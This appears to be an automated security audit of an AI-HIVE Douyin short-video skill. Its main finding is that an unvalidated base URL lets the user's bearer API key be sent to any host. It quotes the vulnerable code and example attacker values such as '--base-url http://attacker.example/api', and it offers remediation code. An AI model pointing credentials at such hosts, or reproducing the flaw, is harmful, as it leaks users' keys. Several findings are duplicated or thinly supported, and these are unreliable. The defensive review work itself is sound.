Back to skill

Security audit

抖音爆款短视频拆解|AI-HIVE

Security checks for vulnerabilities and agentic risk

Overview

The skill is mostly coherent for AI-HIVE short-video workflows, but it can forward the user's AI-HIVE API key to an unvalidated custom API URL.

Review before installing. Use the default AI-HIVE endpoint, do not set --base-url or AI_HIVE_BASE_URL unless you fully trust the destination, and inspect ~/.ai-hive/config.json before running paid generation. Keep the API key out of logs and version control, and only upload media you are authorized to use.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (1)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/videogen.py:84
Finding

Arbitrary API Base URL Can Expose the Bearer API Key

Content
View full analysis

Vulnerability Details

File Location: scripts/videogen.py, lines 84–89 and 122–129
Vulnerability Type: Unvalidated API endpoint with automatic credential forwarding
Risk Level: High

Vulnerable Code

python
def _resolve_base_url(self, cli_url):
    if cli_url:
        return cli_url.rstrip("/")
    env_url = os.environ.get("AI_HIVE_BASE_URL")
    if env_url:
        return env_url.rstrip("/")
python
self.headers = {
    "Authorization": f"Bearer {config.api_key}",
    "Content-Type": "application/json",
}
python
def _request(self, method, url, **kwargs):
    self.config.log(f"{method} {url}")
    try:
        resp = requests.request(
            method, url, headers=self.headers, timeout=DEFAULT_TIMEOUT, **kwargs
        )

Technical Analysis

The API base URL can be supplied through the --base-url command-line option, the AI_HIVE_BASE_URL environment variable, or the configuration file. The value is accepted without validating its scheme or hostname.

The HTTP client subsequently adds the AI-HIVE API key to every API request through the Authorization: Bearer header. Consequently, if the base URL is changed to an attacker-controlled endpoint, the legitimate credential is transmitted to that endpoint. An http:// endpoint is also accepted, allowing interception over an unencrypted connection.

Although custom endpoints can be useful during development, forwarding a service-specific credential to arbitrary origins violates origin-bound credential handling and creates a credential-exfiltration risk.

Attack Path

  1. The victim has a valid API key in AI_HIVE_API_KEY or ~/.ai-hive/config.json.
  2. An attacker, malicious instruction, or compromised execution environment supplies an attacker-controlled URL through one of the supported mechanisms:
    • --base-url http://attacker.example/api
    • AI_HIVE_BASE_URL=http://attacker.example/api
    • A modified base_url value in the configuration file
  3. The ...[truncated 1149 chars]
Remediation
View remediation

Remediation Suggestions

  1. Restrict normal operation to the documented AI-HIVE HTTPS origin:
python
from urllib.parse import urlparse

TRUSTED_API_HOSTS = {"ai-hive.iclip.cn"}

def validate_base_url(value):
    parsed = urlparse(value)
    if parsed.scheme != "https":
        raise SystemExit("The API base URL must use HTTPS.")
    if parsed.hostname not in TRUSTED_API_HOSTS:
        raise SystemExit("The API host is not trusted.")
    if parsed.username or parsed.password:
        raise SystemExit("Credentials are not permitted in the API URL.")
    return value.rstrip("/")
  1. Never attach the AI-HIVE bearer key to an origin that has not passed explicit scheme and hostname validation.

  2. If custom endpoints are necessary for development, require a separate explicit option such as --allow-custom-endpoint, display a prominent warning, and use separate development credentials rather than the production AI-HIVE key.

  3. Reject redirects to untrusted origins or disable automatic redirects for authenticated requests. If redirects are required, validate every redirect target before forwarding authorization headers.

  4. Validate configuration-file values using the same policy applied to command-line and environment values.

  5. Avoid accepting plaintext HTTP even for custom endpoints. Require TLS certificate verification and keep the requests default verification enabled.

  6. Document the credential-forwarding boundary and add automated tests confirming that HTTP URLs, untrusted hosts, user-info URL components, and malicious redirect targets are rejected.

Vulnerability Patterns
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Findings (12)

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The finding suggests undeclared generic text/image generation, model enumeration, and wallet or account-information retrieval beyond the stated short-video decomposition use case. In a skill that already encourages networked API use and potentially billable operations, undisclosed account and model-discovery capabilities materially increase risk by enabling data exposure, cost surprises, and misuse under false expectations.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
99% confidence
Finding

The finding suggests undeclared generic text/image generation, model enumeration, and wallet or account-information retrieval beyond the stated short-video decomposition use case. In a skill that already encourages networked API use and potentially billable operations, undisclosed account and model-discovery capabilities materially increase risk by enabling data exposure, cost surprises, and misuse under false expectations.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
93% confidence
Finding

The finding suggests undeclared generic text/image generation, model enumeration, and wallet or account-information retrieval beyond the stated short-video decomposition use case. In a skill that already encourages networked API use and potentially billable operations, undisclosed account and model-discovery capabilities materially increase risk by enabling data exposure, cost surprises, and misuse under false expectations.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
92% confidence
Finding

The skill advertises runnable scripts that use environment variables, local files, network access, and shell-adjacent tooling like ffmpeg, but it does not declare any tool scope or permissions boundaries. That creates a least-privilege failure: an agent or reviewer cannot tell what capabilities are intended, and overbroad execution contexts could expose secrets, modify files, or make outbound requests unexpectedly.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
96% confidence
Finding

The natural-language instruction says to turn requests into a "production-ready Chinese workflow," which imposes a specific language choice by default. This is a locale/language policy concern because the file does not indicate any user choice, opt-in, or region-specific justification for requiring Chinese.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/edit_video.py (reported line 20)May include surrounding context.

python
def run(args: list[str]) -> None:
    print(" ".join(args))
    subprocess.run(args, check=True)


def main() -> None:

Description-Behavior Mismatch

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The file implements a broad AI-Hive client with capabilities such as chat, image generation, model discovery, media upload, and account access that go beyond the declared Douyin video decomposition/video-generation purpose. In a skill ecosystem, this kind of scope expansion increases attack surface and enables misuse of the user's API key and account context for unrelated actions the user did not authorize.

Content

No source excerpt is available for this finding.

Intent-Code Divergence

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The module is explicitly described as a general-purpose AI capability tool, which conflicts with the declared narrow-purpose skill metadata. This mismatch is dangerous because reviewers and users may believe they are installing a specialized Douyin tool while actually receiving a multi-purpose API client capable of broader actions.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
88% confidence
Finding

The module docstring presents the tool entirely in Chinese, and later user-facing parser descriptions and status messages are also Chinese-only. For a general-purpose skill, this imposes a specific language/locale without any user opt-in or documented regional limitation, which matches the language-policy violation criteria.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

Exposing user-info and wallet-balance retrieval is unnecessary for a Douyin decomposition skill and grants visibility into account metadata unrelated to the requested task. Even if read-only, this creates avoidable privacy and reconnaissance risk by allowing the skill to inspect the user's account state and billing context.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

This code hardcodes the skill name and description in Chinese string literals, including the argparse description and output metadata. Because there is no indication that users can choose another language or that the locale restriction is required, this appears to impose a specific language without opt-in.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Low
Category
Not specified by scanner
Confidence
89% confidence
Finding

Generic model enumeration allows discovery of capabilities beyond the declared skill boundary, making it easier to pivot the tool into unrelated workflows. In context, the skill should already know the approved models it needs, so exposing full model discovery is unnecessary excess functionality.

Content

No source excerpt is available for this finding.